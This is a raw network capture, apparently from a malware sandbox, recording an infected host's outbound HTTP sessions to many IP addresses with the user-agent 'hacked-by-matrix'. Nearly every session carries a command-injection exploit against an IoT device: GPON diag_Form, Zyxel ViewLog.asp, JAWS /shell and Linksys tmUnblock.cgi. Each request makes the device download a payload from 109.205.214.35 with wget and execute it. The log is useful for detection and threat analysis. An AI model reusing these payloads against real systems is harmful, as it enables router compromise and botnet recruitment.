Mar 21, 2024 05:26:34.290205956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1236	192.168.2.23	39462	210.192.205.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290236950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1237	192.168.2.23	58286	5.169.12.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290240049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1238	192.168.2.23	36780	2.50.90.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290276051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1239	192.168.2.23	39362	5.53.144.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291616917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1240	192.168.2.23	53818	42.154.22.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291621923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1241	192.168.2.23	50956	118.87.31.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291656017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1242	192.168.2.23	60770	118.112.124.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291665077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1243	192.168.2.23	38470	178.158.71.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291686058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1244	192.168.2.23	50978	42.92.227.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291692019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1245	192.168.2.23	50660	212.82.123.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291708946 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1246	192.168.2.23	54616	79.207.135.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291713953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1247	192.168.2.23	44248	212.161.73.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291724920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1248	192.168.2.23	60478	94.254.99.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291749954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1249	192.168.2.23	46344	212.144.234.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291749954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1250	192.168.2.23	46662	2.2.29.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.291765928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1251	192.168.2.23	39120	181.224.41.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.492377996 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:35.563507080 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:35.767011881 CET	301	IN	HTTP/1.1 200 OK Content-Type:text/html Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 21, 2024 05:26:35.767110109 CET	1286	IN	Data Raw: 63 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: cb8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Mar 21, 2024 05:26:35.767189980 CET	1286	IN	Data Raw: 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 Data Ascii: return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortValid(List[i])) { return false; } } return true; }function IsIPv6
Mar 21, 2024 05:26:35.767970085 CET	732	IN	Data Raw: 72 65 73 73 56 61 6c 69 64 28 48 6f 73 74 49 6e 66 6f 29 29 0d 0a 7b 0d 0a 2f 2a 20 68 6f 73 74 20 73 74 72 69 6e 67 20 6e 6f 74 20 69 6e 63 6c 75 64 65 20 70 6f 72 74 20 2a 2f 0d 0a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 Data Ascii: ressValid(HostInfo)){/* host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}else{var newipv6addr = HostInfo.substr(0,lastindex);var newipv6port = HostInfo.substr(lastindex+1);if (IsMaintWan

Session ID	Source IP	Source Port	Destination IP	Destination Port
1252	192.168.2.23	58050	40.84.132.201	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.900891066 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:35.349627972 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:35.500739098 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1253	192.168.2.23	44246	172.67.115.19	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.984030008 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:35.271517992 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.23	33410	98.96.198.103	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.984092951 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:35.271517992 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:35.358772039 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.23	35442	178.58.82.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.319665909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.23	34308	118.43.97.128	443

Timestamp	Bytes transferred	Direction	Data
